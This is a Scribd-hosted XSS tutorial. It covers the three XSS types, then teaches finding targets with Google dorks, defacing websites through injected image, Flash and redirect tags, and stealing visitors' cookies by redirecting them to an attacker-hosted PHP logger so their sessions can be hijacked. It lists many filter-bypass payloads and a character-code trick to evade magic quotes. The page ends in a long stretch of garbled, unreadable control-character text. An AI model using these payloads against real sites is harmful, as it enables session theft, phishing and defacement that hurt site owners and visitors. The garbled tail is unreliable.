0% found this document useful (0 votes)
77 views5 pages

XSS Attack Tutorial for Ethical Hackers

The document provides information about cross-site scripting (XSS) vulnerabilities, including three main types (DOM-based, non-persistent, and persistent), methods for finding and exploiting XSS, and techniques for bypassing input filtering to execute malicious scripts. It describes how to use XSS to steal cookies, deface websites, and discusses advanced methods like encoding scripts using ASCII character codes to bypass magic quote filtering.
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
77 views5 pages

XSS Attack Tutorial for Ethical Hackers

The document provides information about cross-site scripting (XSS) vulnerabilities, including three main types (DOM-based, non-persistent, and persistent), methods for finding and exploiting XSS, and techniques for bypassing input filtering to execute malicious scripts. It describes how to use XSS to steal cookies, deface websites, and discusses advanced methods like encoding scripts using ASCII character codes to bypass magic quote filtering.
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
  • XSS Tutorial
  • How to Find XSS Vulnerabilities
  • Scripting Coding of XSS

XSS Tutorial

'XSS' also known as 'CSS' - Cross Site Scripting. It is a very common vulnerability found in Web Applications, 'XSS' allows the attacker to INSERT malicous code, There are many types of XSS attacks, I will mention 3 of the most used. This kind of vulnerability allows an "attacker" to inject some code into the applications affected in order to bypass access to the website or to apply "phishing" on falls users. This technique is also used for website Hacking. Types of XSS There are actually three types of Cross-Site Scripting, commonly named as: - DOM-Based XSS - Non-persistent XSS - Persistent XSS DOM-Based : The DOM-Based Cross-Site Scripting allow to an attacker to work not on a victim website but on a victim local machine: the various operative system usually includes "since born" some HTML pages created for differents aims, but as long as the humans do mistakes this HTML pages often can be exploited due to code vulnerabilities. The DOM-Based XSS exploits these problems on users local machines in this way: - The attacker creates a well builded malicious website - The ingenuous user opens that site - The user has a vulnerable page on his machine - The attacker's website sends commands to the vulnerable HTML page - The vulnerable local page execute that commands with the user's privileges on that machine. - The attacker easily gain control on the victim computer. Non-Persistent : The non-persistent XSS are actually the most commons vulnerabilities that can be found on the Net. It's commonly named as "non-persistent" because it works on an immediate HTTP response from the victim website: it show up when the webpage get the data provided by the attacker's client to automatically generate a result page for the attackers himself. Standing on this the attacker could provide some malicious code and try to make the server execute it in order to obtain some result. The most common applying of this kind of vulnerability is in Search engines in website: the attacker writes some arbitrary HTML code in the search textbox and, if the website is vulnerable, the result page will return the result of these HTML entities. Persistent : The persistent XSS vulnerabilities are similar to the second type (Non-persistent XSS), because both works on a victim site and tries to hack users informations and the difference is that in websites vulnerables to Persistent XSS the attacker doesn't need to provide the crafted url to the users, because the website itself permits to users to insert fixed data into the system: this is the case for example of "guestbooks". Usually the users uses that kind of tool to leave messages to the owned of the website and at a first look it doesn't seems something dangerous, but if an attacker discover that the system is vulnerable can insert some malicious code in his message and let ALL visitors to be victim of that. This works when the tool provided (the guestbook in the example) doesn't do any check on the content of the inserted message: it just inserts the data provided from the user into the result page.

How to Find XSS Vulnerabilities:To start finding these Vulnerabilities you can start checking out Blogs, Forums, Shoutboxes, Comment Boxes,

Search Box's, there are too many to mention. Using 'Google Dorks' to make the finding easyier, Ok if you wanna get cracking, goto [Link] and type inurl:"[Link]?q=" now that is a common page and has alot of results. Also note that most sites have XSS Vulnerabilities, its just having a good eye, and some good knowledge on how to bypass there filteration. Basics of XSS Well now lets start learning some Actual Methods, the most common used XSS injection is : <script>alert("Hacking")</script> now this will alert a popup message, saying "Priyanshu" without quotes. So,use "[Link]?q=" and you can simple try the following on a website with the same thing, [Link] There are good chances of it working, but dont be worried if it dont, just try diffrent sites. You can insert HTML not just javascript : [Link] if you see the bold text on the page and newlines then you knows its vulnerable. How to Deface a Website using XSS ? Well now you understand how XSS works, we can explain some simple XSS deface methods, there are many ways for defacing i will mention some of the best and most used, the first one being IMG SCR, now for those of you who dont know html, IMG SCR is a tag, that displays the IMAGE linked to it on the webpage. <html><body><IMG SRC="[Link] ok now if you change the link to a valid picture link, and save it and run it you will see what i mean. Right now say you have found a Shoutbox, Comment box, or anything that shows your data after you submitted it you could insert the following to make the picture display on the page. <IMG SRC="[Link] The other tags are not needed has the page will already have them. Ok it helps to make your picture big so it stands out and its clear the site got hacked. Another method is using FLASH videos, its the same has the method below but a more stylish deface. <EMBED SRC="[Link] That will execute the flash video linked to it. Or maybe using a pop or redirection as : <script>[Link]( "[Link] )</script> There are many others ways that you can found using Google or other website. Mine purpose is to make you understand the concept :) How to Cookie Stealing using XSS ? I decided to add this has its the most usefull method of XSS. First learn how to make cookie logger from here: How To Make A Cookie Stealer Php script ? ok now you have it save it has a .php file and upload to your server, remember to create the file '[Link]' too and chmod it to 777, ok now find a XSS vulnerable website, any attack type will do. ok now your gonna want to insert this code. [Link] = "[Link]

or

[Link] = "[Link] now when user visits the page that got injected too, they will be sent to the site, and cookie will be stolen the second one is more stealth. Watch your file now for cookies, then you can hijack there session :D but now you ask what if my site has not got, this kind of attack, it only shows data once and dont store it. Well lets say we had a page [Link]?q= we can use the following code to make a maliouc url from it and maybe hex, base64 encode it so people cant see the code [Link] = "[Link]

How to Bypass Filtration ? Alot of sites may seem vulnerable but not executing the code, well to solve this read this. Some common methods to bypass filtration is ')alert('xss');

or

");alert('xss'); that will do the same thing has <script>alert("XSS")</script> on a vulnerable server. You can also try hexing or base64 encoding your data before you submit, Please note its bad practice to use alert("XSS") to test for XSS, because some sites block the keyword "XSS" before so we using "Priyanshu". Some other ways to bypass filtration [Link]/[Link]?q="><script>alert('Hacking')</script> [Link]/[Link]?q="><script>alert("Hacking")</script> [Link]/[Link]?q="><script>alert("Hacking");</script> [Link]/[Link]?q="><script>alert(/Hacking");</script> [Link]/[Link]?q=//"><script>alert(/Hacking/);</script> [Link]/[Link]?q=abc<script>alert(/Hacking/);</script> [Link]/[Link]?q=abc"><script>alert(/Hacking/);</script> [Link]/[Link]?q=abc"></script><script>alert(/Hacking/);</script> [Link]/[Link]?q=abc//abc"></script>alert(/Hacking/);</script> [Link]/[Link]?q=000"><script></script><script>alert(Hacking);</script>

[Link]/[Link]?q=000abc</script><script>alert(/Hacking/);</script> [Link]/[Link]?q=--<script>"></script>alert(/Hacking/);</script> [Link]/[Link]?q=pwned<script>[Link]('Hacking');</script> [Link]/[Link]?q=pwned</script><script>[Link](Hacking);</scri pt> [Link]/[Link]?q=pwned')alert(Hacking);// [Link]/[Link]?q=pwned";)alert(Hacking);// [Link]/[Link]?q=pwned");alert(/Hacking/);// [Link]/[Link]?q=pwned//"></script><script>[Link]='javascript:a lert(/Hacking/);</script> [Link]/[Link]?q="><img src='javascript:alert(Hacking');'> [Link]/[Link]?q="><script src='[Link] js'</script>

Advanced XSS - way to bypass magic quotes filtration: Ok now we are going to learn about some good techniqes. I have came across many sites where 'Magic Quotes' is on and therfore rendering some commands useless. Fear not, i have come up with a way using char codes (Decimals), to convert char code to Ascii. The functions to turn CharCodes (Decimals) into ASCII, you can find a complete table here [Link] [Link]

This will help you write what you want, In my examples ill be writing "HOC" this is the following code 72 79 67

Ok now we got the Decimal value of our string, we need to know what function in javascript converts this. [Link]() is suitable for this kinda things, its easy to setup, im gona give it my args below. [Link](72, 79, 67) Ok now "[Link](72, 79, 67)" Is a JAVA (ASCII) way of saying "HOC". And to use this with alerts etc, you dont need to use quotes, as it acts as a variable. <script>alert([Link](72, 79, 67))</script> For More Script Coding Of XSS Visit [Link]

cu0001u0002u0003u0004u0005u0006u0007b	u0001
u0015
u0001
"u0001u0001"u0002u0003u0004u0005u0006u0002u0007bu0006	bu0002u0003u0005u0002"
u0001u0001"u0015u0015u0001u0002u0003u0004u0004u0015u0005u0006u0007bu0015u0005	u0002u0006
u0007u0006u000bf
u0015u000eu0007u0015u0006u0004u0015u000fu0015u0010bu0002u0011u0015	u0003u0012u0012u0003u000bu0015u0010u0013u0014u000bbu0002u000fu0016u0006u0014u0006u0007u0011u0015u0017u0003u0013u000bu0018u0015u0006u000bu0015u0019bu0016u0015u001a

u0014u0006	u000fu0007u0006u0003u000bu0004u001bu0015
u0005bu000fu0002	u001fu0015.u00030u001cu0004u001bu0015u0007u001fbu0002bu0015u000fu0002bu0015u0007u0003u0003u0015u0012u000fu000bu0011u0015u0007u0003u0015u0012bu000bu0007u0006u0003u000b
u0015
u0015
4u0004u0006u000bfu0015u001c7u0003u0003fu0014bu0015+u0003u0002 u0004u001cu0015u0007u0003u0015u0012u000f bu0015u0007u001fbu0015u0017u0006u000bu0018u0006u000bfu0015bu000fu0004u0011u0006bu0002u001bu0015, u0015u0006u0017u0015u0011u0003u0013u0015u001eu000fu000bu000bu000fu0015fbu0007u0015	u0002u000f	 u0006
u0015
u0015
u0003u0002u0015
u0015
u0015
u0018u0003	u0013u0012bu000bu0007
u0014u0003	u000fu0007u0006u0003u000bu00159u0015&u001fu0007u0007
*<<u0011u0003u0013u0002u0005bu0002u0010bu0002
	u0003u0012<	u0003u0003 u0006bu0014u0003ffbu0002
u001f
8	9&?u0018u0003	u0013u0012bu000bu0007
	u0003u0003 u0006bu0015
u0015
u000bu0003u001eu0015u001eu001fbu000bu0015u0013u0004bu0002u0015u0010u0006u0004u0006u0007u0004u0015u0007u001fbu0015
u000ffbu0015
u001ebu0016u0004u0006u0007b
	u0003u0012<u0004bu000fu0002	u001f
u001f
8(9CCCu000fu0016	:<u0004	u0002u0006
u0007;:u0004	u0002u0006
u0007;u000fu0014bu0002u00072<)u000f	 u0006u000bf<3B:<u0004	u0002u0006
u0007;u0015
u001ebu0016u0004u0006u0007b
	u0003u0012<u0004bu000fu0002	u001f
u001f
8(9:u0004	u0002u0006
u0007;&;:<u0004	u0002u0006
u0007;u000fu0014bu0002u0007
u0015
, u0015u000bu0003u001eu0015u001ebu0015fu0003u0007u0015u0007u001fbu0015+b	u0006u0012u000fu0014u0015u0010u000fu0014u0013bu0015u0003u0017u0015u0003u0013u0002u0015u0004u0007u0002u0006u000bfu001bu0015u001ebu0015u000bbbu0018u0015u0007u0003u0015 u000bu0003u001eu0015u001eu001fu000fu0007u0015
u0017u0013u000b	u0007u0006u0003u000bu0015u0006u000bu0015'u000fu0010u000fu0004	u0002u0006
u0007u0015	u0003u000bu0010bu0002u0007u0004u0015u0007u001fu0006u0004
u0015
u0015
u0005u0007u0002u0006u000bf
u0017u0002u0003u0012u0001u001f

You might also like